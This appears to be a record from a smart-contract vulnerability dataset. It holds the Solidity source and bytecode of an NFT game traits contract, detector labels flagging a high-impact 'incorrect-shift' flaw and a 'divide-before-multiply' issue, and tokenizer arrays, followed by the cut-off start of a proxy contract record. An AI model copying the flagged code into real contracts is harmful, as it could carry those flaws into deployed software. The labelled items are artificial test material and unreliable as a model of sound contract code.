uint256(tokenId).toString(), '", "description": "The metaverse mainland is full of creatures. Around the Farm, an abundance of Rabbits scurry to harvest CARROT. Alongside Farmers, they expand the farm and multiply their earnings. There', "'", 's only one small problem -- the farm has grown too big and a new threat of nature has entered the game.", "image": "data:image/svg+xml;base64,', _base64(bytes(_drawSVG(traits))), '", "attributes":', _compileAttributes(tokenId, traits), "}" )); return string(abi.encodePacked( "data:application/json;base64,", _base64(bytes(metadata)) )); } /** BASE 64 - Written by Brech Devos */ string internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; function _base64(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ""; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); // solhint-disable-next-line no-inline-assembly assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameNFTTraits { function tokenURI(uint16 tokenId) external view returns (string memory); } /* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IFoxGameNFT { enum Kind { RABBIT, FOX, HUNTER } struct Traits { Kind kind; uint8 advantage; uint8[7] traits; } function getMaxGEN0Players() external pure returns (uint16); function getTraits(uint16) external view returns (Traits memory); function ownerOf(uint256) external view returns (address owner); function transferFrom(address, address, uint256) external; function safeTransferFrom(address, address, uint256, bytes memory) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80639bf2ee351161005b5780639bf2ee35146100bf578063c7bb3fda146100e0578063dd7d8440146100f3578063f2fde38b1461011357600080fd5b806313a6f33314610082578063715018a6146100975780638da5cb5b1461009f575b600080fd5b610095610090366004611b49565b610126565b005b610095610356565b6000546040516001600160a01b0390911681526020015b60405180910390f35b6100d26100cd366004611bcc565b61038c565b6040516100b6929190611c61565b6100956100ee366004611cab565b6104c3565b610106610101366004611cee565b61051b565b6040516100b69190611d12565b610095610121366004611d25565b610644565b6000546001600160a01b031633146101595760405162461bcd60e51b815260040161015090611d40565b60405180910390fd5b82811461019c5760405162461bcd60e51b81526020600482015260116024820152704d69736d61746368656420696e7075747360781b6044820152606401610150565b60005b60ff811682111561034e57604051806040016040528084848460ff168181106101ca576101ca611d75565b90506020028101906101dc9190611d8b565b60008181106101ed576101ed611d75565b90506020028101906101ff9190611dd5565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505090825250602001848460ff851681811061024e5761024e611d75565b90506020028101906102609190611d8b565b600181811061027157610271611d75565b90506020028101906102839190611dd5565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092018290525093909452505060ff808a168252600a6020526040822092508890889086168181106102e0576102e0611d75565b90506020020160208101906102f59190611e1c565b60ff16815260208082019290925260400160002082518051919261031e92849290910190611a55565b5060208281015180516103379260018501920190611a55565b50905050808061034690611e4f565b91505061019f565b505050505050565b6000546001600160a01b031633146103805760405162461bcd60e51b815260040161015090611d40565b61038a60006106df565b565b600a6020908152600092835260408084209091529082529020805481906103b290611e6f565b80601f01602080910402602001604051908101604052809291908181526020018280546103de90611e6f565b801561042b5780601f106104005761010080835404028352916020019161042b565b820191906000526020600020905b81548152906001019060200180831161040e57829003601f168201915b50505050509080600101805461044090611e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461046c90611e6f565b80156104b95780601f1061048e576101008083540402835291602001916104b9565b820191906000526020600020905b81548152906001019060200180831161049c57829003601f168201915b5050505050905082565b6000546001600160a01b031633146104ed5760405162461bcd60e51b815260040161015090611d40565b600880546001600160a01b039384166001600160a01b03199182161790915560098054929093169116179055565b606060006105288361072f565b60405163043e55e360e41b815261ffff851660048201526001600160a01b0391909116906343e55e309060240161012060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190611f0c565b905060006001826000015160028111156105b3576105b3611fab565b60ff16600381106105c6576105c6611d75565b016105d48561ffff16610763565b6105e56105e085610869565b610f11565b6105ef8786611079565b6040516020016106029493929190612077565b604051602081830303815290604052905061061c81610f11565b60405160200161062c91906122bf565b60405160208183030381529060405292505050919050565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161015090611d40565b6001600160a01b0381166106d35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610150565b6106dc816106df565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006127108261ffff161115610750576009546001600160a01b031661075d565b6008546001600160a01b03165b92915050565b6060816107875750506040805180820190915260018152600360fc1b602082015290565b8160005b81156107b1578061079b81612304565b91506107aa9050600a83612335565b915061078b565b60008167ffffffffffffffff8111156107cc576107cc611eaa565b6040519080825280601f01601f1916602001820160405280156107f6576020820181803683370190505b5090505b84156108615761080b600183612349565b9150610818600a86612360565b610823906030612374565b60f81b81838151811061083857610838611d75565b60200101906001600160f81b031916908160001a90535061085a600a86612335565b94506107fa565b949350505050565b60608060008351600281111561088157610881611fab565b1415610bab576000808052600a6020526040840151610a0b917f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e391815b602002015160ff1660ff1681526020019081526020016000206040518060400160405290816000820180546108f290611e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461091e90611e6f565b801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b5050505050815260200160018201805461098490611e6f565b80601f01602080910402602001604051908101604052809291908181526020018280546109b090611e6f565b80156109fd5780601f106109d2576101008083540402835291602001916109fd565b820191906000526020600020905b8154815290600101906020018083116109e057829003601f168201915b505050505081525050611a13565b60016000818152600a6020526040860151610a49927fbbc70db1b6c7afd11e79c0fb0051300458f1a3acb8ee9789d9b6b26c61ad9bc79291906108be565b60026000818152600a6020526040870151610a87927fbff4442b8ed600beeb8e26b1279a0f0d14c6edfaec26d968ee13c86f7d4c2ba89291906108be565b60036000818152600a6020526040880151610ac5927fa856840544dc26124927add067d799967eac11be13e14d82cc281ea46fa397599291906108be565b60046000818152600a6020526040890151610b03927fe1eb2b2161a492c07c5a334e48012567cba93ec021043f53c1955516a3c5a8419291906108be565b60056000818152600a60205260408a0151610b41927ff35035bc2b01d44bd35a1dcdc552315cffb73da35cfd60570b7b777f98036f9f9291906108be565b60066000818152600a60205260408b0151610b7f927f10d9dd018e4cae503383c9f804c1c1603ada5856ee7894375d9b97cd8c8b27db9291906108be565b604051602001610b95979695949392919061238c565b6040516020818303038152906040529050610ee9565b600183516002811115610bc057610bc0611fab565b1415610d4f5760076000908152600a6020526040840151610c03917f22e39f61d1e4986b4f116cea9067f62cc77d74dff1780ae9c8b5166d1dd2882991816108be565b60086000908152600a6020526040850151610c41917f2c1fd36ba11b13b555f58753742999069764391f450ca8727fe8a3eeffe677759160016108be565b60096000908152600a6020526040860151610c7f917f825eb4cda6b8b44578c55770496c59e6dc3cf2235f690bcdaf51a61898ceb2849160026108be565b600a60008181526020919091526040870151610cbe917f3e57c57b03145299956be61386751c5b285d460d484d5c2403a6be086d9d6baa9160036108be565b600b6000908152600a6020526040880151610cfc917fb3569174ca605aeef264a9f01151dace4275a70316034aaf090d8468560f043b9160046108be565b600c6000908152600a6020526040890151610d3a917f80283cfdc74729ecb224822f7a02837fb1d52df7cc3435ae86bb6e025f6e06fa9160056108be565b604051602001610b959695949392919061241e565b600e6000908152600a6020526040840151610d8c917f95e5396155afd2ec086edc0518f3069d6ba131fb95388521b3342aebbda916f091816108be565b600f6000908152600a6020526040850151610dca917fcc8dc71342d3ea7c205feea2d040f8f577a07edda8d6b43a4daf11d5e7fd280a9160016108be565b60106000908152600a6020526040860151610e08917f1063e8e27a46602f2cf5efe54a6f37c939566cc93507d4c402b1ab61967baeed9160026108be565b60116000908152600a6020526040870151610e46917fd1bfa665ff0a0ee81f20833500dfc80ed4b576a9d481e6c7f2cd8243b94238e89160036108be565b60126000908152600a6020526040880151610e84917f96c94070a261449c888cfb31ddd6716e50d52e263f7a74a5eeb34ee8b42410169160046108be565b60136000908152600a6020526040890151610ec2917f2e60ceb69e96fe6481ce9457171ef3f030bf0150171842d8842b77cad9c3b3559160056108be565b604051602001610ed79695949392919061241e565b60405160208183030381529060405290505b80604051602001610efa919061249d565b604051602081830303815290604052915050919050565b6060815160001415610f3157505060408051602081019091526000815290565b60006040518060600160405280604081526020016128726040913990506000600384516002610f609190612374565b610f6a9190612335565b610f7590600461257d565b90506000610f84826020612374565b67ffffffffffffffff811115610f9c57610f9c611eaa565b6040519080825280601f01601f191660200182016040528015610fc6576020820181803683370190505b509050818152600183018586518101602084015b818310156110345760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b93820193909352600401610fda565b60038951066001811461104e576002811461105f5761106b565b613d3d60f01b60011983015261106b565b603d60f81b6000198301525b509398975050505050505050565b606060008251600281111561109057611090611fab565b14156113e2576040805180820182526003815262233ab960e91b6020808301919091526000808052600a90915291840151611193927f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e391815b602002015160ff1660ff168152602001908152602001600020600001805461111090611e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461113c90611e6f565b80156111895780601f1061115e57610100808354040283529160200191611189565b820191906000526020600020905b81548152906001019060200180831161116c57829003601f168201915b5050505050611a40565b60408051808201825260048152635061777360e01b60208083019190915260016000818152600a909252928601516111ee937fbbc70db1b6c7afd11e79c0fb0051300458f1a3acb8ee9789d9b6b26c61ad9bc79291906110e9565b604080518082018252600581526409adeeae8d60db1b60208083019190915260026000818152600a9092529287015161124a937fbff4442b8ed600beeb8e26b1279a0f0d14c6edfaec26d968ee13c86f7d4c2ba89291906110e9565b60408051808201825260048152634e6f736560e01b60208083019190915260036000818152600a909252928801516112a5937fa856840544dc26124927add067d799967eac11be13e14d82cc281ea46fa397599291906110e9565b6040805180820182526004808252634579657360e01b6020808401919091526000828152600a90915292890151611300937fe1eb2b2161a492c07c5a334e48012567cba93ec021043f53c1955516a3c5a841929091906110e9565b60408051808201825260048152634561727360e01b60208083019190915260056000818152600a909252928a015161135b937ff35035bc2b01d44bd35a1dcdc552315cffb73da35cfd60570b7b777f98036f9f9291906110e9565b60408051808201825260048152631219585960e21b60208083019190915260066000818152600a909252928b01516113b6937f10d9dd018e4cae503383c9f804c1c1603ada5856ee7894375d9b97cd8c8b27db9291906110e9565b6040516020016113cc979695949392919061259c565b6040516020818303038152906040529050611900565b6001825160028111156113f7576113f7611fab565b141561166a57604080518082018252600481526315185a5b60e21b60208083019190915260076000908152600a90915291840151611457927f22e39f61d1e4986b4f116cea9067f62cc77d74dff1780ae9c8b5166d1dd2882991816110e9565b6040805180820182526003815262233ab960e91b60208083019190915260086000908152600a909152918501516114b1927f2c1fd36ba11b13b555f58753742999069764391f450ca8727fe8a3eeffe677759160016110e9565b60408051808201825260048152631199595d60e21b60208083019190915260096000908152600a9091529186015161150c927f825eb4cda6b8b44578c55770496c59e6dc3cf2235f690bcdaf51a61898ceb2849160026110e9565b60408051808201825260048152634e65636b60e01b602080830191909152600a6000818152915291870151611564927f3e57c57b03145299956be61386751c5b285d460d484d5c2403a6be086d9d6baa9160036110e9565b604080518082018252600581526409adeeae8d60db1b602080830191909152600b6000908152600a909152918801516115c0927fb3569174ca605aeef264a9f01151dace4275a70316034aaf090d8468560f043b9160046110e9565b60408051808201825260048152634579657360e01b602080830191909152600c6000908152600a9091529189015161161b927f80283cfdc74729ecb224822f7a02837fb1d52df7cc3435ae86bb6e025f6e06fa9160056110e9565b6113b66040518060400160405280600d81526020016c43756e6e696e672053636f726560981b81525060048a6020015160ff166004811061165e5761165e611d75565b01805461111090611e6f565b6040805180820182526007815266436c6f7468657360c81b602080830191909152600e6000908152600a909152918401516116c7927f95e5396155afd2ec086edc0518f3069d6ba131fb95388521b3342aebbda916f091816110e9565b604080518082018252600881526726b0b935b9b6b0b760c11b602080830191909152600f6000908152600a90915291850151611726927fcc8dc71342d3ea7c205feea2d040f8f577a07edda8d6b43a4daf11d5e7fd280a9160016110e9565b60408051808201825260048152634e65636b60e01b60208083019190915260106000908152600a90915291860151611781927f1063e8e27a46602f2cf5efe54a6f37c939566cc93507d4c402b1ab61967baeed9160026110e9565b604080518082018252600581526409adeeae8d60db1b60208083019190915260116000908152600a909152918701516117dd927fd1bfa665ff0a0ee81f20833500dfc80ed4b576a9d481e6c7f2cd8243b94238e89160036110e9565b6040805180820182526004808252634579657360e01b60208084019190915260126000908152600a9091529289015161183a937f96c94070a261449c888cfb31ddd6716e50d52e263f7a74a5eeb34ee8b4241016929091906110e9565b604080518082018252600381526212185d60ea1b60208083019190915260136000908152600a90915291890151611894927f2e60ceb69e96fe6481ce9457171ef3f030bf0150171842d8842b77cad9c3b3559160056110e9565b6118d86040518060400160405280600e81526020016d4d61726b736d616e2053636f726560901b81525060048a6020015160ff166004811061165e5761165e611d75565b6040516020016118ee979695949392919061259c565b60405160208183030381529060405290505b8061190a8461072f565b6001600160a01b031663eee38a796040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b919061265c565b61ffff168461ffff16111561199f57604051806040016040528060078152602001661123a2a710189160c91b8152506119c0565b604051806040016040528060078152602001661123a2a710181160c91b8152505b835160019060028111156119d6576119d6611fab565b60ff16600381106119e9576119e9611d75565b016040516020016119fc93929190612679565b604051602081830303815290604052905092915050565b60608160200151604051602001611a2a919061272c565b6040516020818303038152906040529050919050565b606082826040516020016119fc929190612800565b828054611a6190611e6f565b90600052602060002090601f016020900481019282611a835760008555611ac9565b82601f10611a9c57805160ff1916838001178555611ac9565b82800160010185558215611ac9579182015b82811115611ac9578251825591602001919060010190611aae565b50611ad5929150611ad9565b5090565b5b80821115611ad55760008155600101611ada565b60ff811681146106dc57600080fd5b60008083601f840112611b0f57600080fd5b50813567ffffffffffffffff811115611b2757600080fd5b6020830191508360208260051b8501011115611b4257600080fd5b9250929050565b600080600080600060608688031215611b6157600080fd5b8535611b6c81611aee565b9450602086013567ffffffffffffffff80821115611b8957600080fd5b611b9589838a01611afd565b90965094506040880135915080821115611bae57600080fd5b50611bbb88828901611afd565b969995985093965092949392505050565b60008060408385031215611bdf57600080fd5b8235611bea81611aee565b91506020830135611bfa81611aee565b809150509250929050565b60005b83811015611c20578181015183820152602001611c08565b83811115611c2f576000848401525b50505050565b60008151808452611c4d816020860160208601611c05565b601f01601f19169290920160200192915050565b604081526000611c746040830185611c35565b8281036020840152611c868185611c35565b95945050505050565b80356001600160a01b0381168114611ca657600080fd5b919050565b60008060408385031215611cbe57600080fd5b611cc783611c8f565b9150611cd560208401611c8f565b90509250929050565b61ffff811681146106dc57600080fd5b600060208284031215611d0057600080fd5b8135611d0b81611cde565b9392505050565b602081526000611d0b6020830184611c35565b600060208284031215611d3757600080fd5b611d0b82611c8f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000808335601e19843603018112611da257600080fd5b83018035915067ffffffffffffffff821115611dbd57600080fd5b6020019150600581901b3603821315611b4257600080fd5b6000808335601e19843603018112611dec57600080fd5b83018035915067ffffffffffffffff821115611e0757600080fd5b602001915036819003821315611b4257600080fd5b600060208284031215611e2e57600080fd5b8135611d0b81611aee565b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff811415611e6657611e66611e39565b60010192915050565b600181811c90821680611e8357607f821691505b60208210811415611ea457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611ee357611ee3611eaa565b60405290565b60405160e0810167ffffffffffffffff81118282101715611ee357611ee3611eaa565b6000610120808385031215611f2057600080fd5b611f28611ec0565b835160038110611f3757600080fd5b8152602084810151611f4881611aee565b82820152605f85018613611f5b57600080fd5b611f63611ee9565b928501928087851115611f7557600080fd5b604087015b85811015611f9a578051611f8d81611aee565b8352918301918301611f7a565b506040840152509095945050505050565b634e487b7160e01b600052602160045260246000fd5b8054600090600181811c9080831680611fdb57607f831692505b6020808410821415611ffd57634e487b7160e01b600052602260045260246000fd5b81801561201157600181146120225761204f565b60ff1986168952848901965061204f565b60008881526020902060005b868110156120475781548b82015290850190830161202e565b505084890196505b50505050505092915050565b6000815161206d818560208601611c05565b9290920192915050565b693d913730b6b2911d101160b11b81526000612096600a830187611fc1565b61202360f01b815285516120b1816002840160208a01611c05565b7f222c20226465736372697074696f6e223a2022546865206d6574617665727365910160028101919091527f206d61696e6c616e642069732066756c6c206f66206372656174757265732e2060228201527f41726f756e6420746865204661726d2c20616e206162756e64616e6365206f6660428201527f20526162626974732073637572727920746f206861727665737420434152524f60628201527f542e20416c6f6e6773696465204661726d6572732c207468657920657870616e60828201527f6420746865206661726d20616e64206d756c7469706c7920746865697220656160a28201526c726e696e67732e20546865726560981b60c2820152602760f81b60cf8201526122b46122a76122a161228561227f60d086017f73206f6e6c79206f6e6520736d616c6c2070726f626c656d202d2d207468652081527f6661726d206861732067726f776e20746f6f2062696720616e642061206e657760208201527f20746872656174206f66206e61747572652068617320656e746572656420746860408201527f652067616d652e222c2022696d616765223a2022646174613a696d6167652f7360608201526d1d99cade1b5b0ed8985cd94d8d0b60921b6080820152608e0190565b8961205b565b6f1116101130ba3a3934b13aba32b9911d60811b815260100190565b8661205b565b607d60f81b815260010190565b979650505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516122f781601d850160208701611c05565b91909101601d0192915050565b600060001982141561231857612318611e39565b5060010190565b634e487b7160e01b600052601260045260246000fd5b6000826123445761234461231f565b500490565b60008282101561235b5761235b611e39565b500390565b60008261236f5761236f61231f565b500690565b6000821982111561238757612387611e39565b500190565b60008851602061239f8285838e01611c05565b8951918401916123b28184848e01611c05565b89519201916123c48184848d01611c05565b88519201916123d68184848c01611c05565b87519201916123e88184848b01611c05565b86519201916123fa8184848a01611c05565b855192019161240c8184848901611c05565b919091019a9950505050505050505050565b6000875160206124318285838d01611c05565b8851918401916124448184848d01611c05565b88519201916124568184848c01611c05565b87519201916124688184848b01611c05565b865192019161247a8184848a01611c05565b855192019161248c8184848901611c05565b919091019998505050505050505050565b7f3c7376672077696474683d223130302522206865696768743d2231303025222081527f76657273696f6e3d22312e31222076696577426f783d2230203020343020343060208201527f2220786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f60408201527f7376672220786d6c6e733a786c696e6b3d22687474703a2f2f7777772e77332e60608201526f37b93397989c9c9c97bc3634b735911f60811b608082015260008251612560816090850160208701611c05565b651e17b9bb339f60d11b6090939091019283015250609601919050565b600081600019048311821515161561259757612597611e39565b500290565b600088516125ae818460208d01611c05565b8083019050600b60fa1b80825289516125ce816001850160208e01611c05565b6001920191820181905288516125eb816002850160208d01611c05565b600292019182018190528751612608816003850160208c01611c05565b600392019182018190528651612625816004850160208b01611c05565b600492019182015261264e6126416122a181600585018961205b565b600b60fa1b815260010190565b9a9950505050505050505050565b60006020828403121561266e57600080fd5b8151611d0b81611cde565b605b60f81b815260008451612695816001850160208901611c05565b7f7b2274726169745f74797065223a2247656e65726174696f6e222c2276616c756001918401918201526232911d60e91b602182015284516126de816024840160208901611c05565b7f7d2c7b2274726169745f74797065223a2254797065222c2276616c7565223a22602492909101918201526127166044820185611fc1565b62227d5d60e81b81526003019695505050505050565b7f3c696d61676520783d22342220793d2234222077696474683d2233322220686581527f696768743d2233322220696d6167652d72656e646572696e673d22706978656c60208201527f6174656422207072657365727665417370656374526174696f3d22784d69645960408201527f4d69642220786c696e6b3a687265663d22646174613a696d6167652f706e673b60608201526618985cd94d8d0b60ca1b6080820152600082516127e6816087850160208701611c05565b6211179f60e91b6087939091019283015250608a01919050565b6e3d913a3930b4ba2fba3cb832911d1160891b8152825160009061282b81600f850160208801611c05565b6a1116113b30b63ab2911d1160a91b600f91840191820152835161285681601a840160208801611c05565b61227d60f01b601a9290910191820152601c0194935050505056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212202ffe103cfe61d4c6ad2bb2b0432fbcbc7b2aa457c5ffda4c9669000f9a8d36fa64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 28756, 2581, 2620, 2683, 27421, 14526, 21926, 2581, 2094, 2620, 2475, 11057, 2629, 2094, 2683, 2278, 21472, 28756, 29292, 2683, 2497, 16048, 9468, 2549, 5732, 2487, 1013, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,807
0x9767203e89dcD34851240B3919d4900d3E5069f1
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol) pragma solidity ^0.8.4; import "ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor( address _logic, address admin_, bytes memory _data ) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * 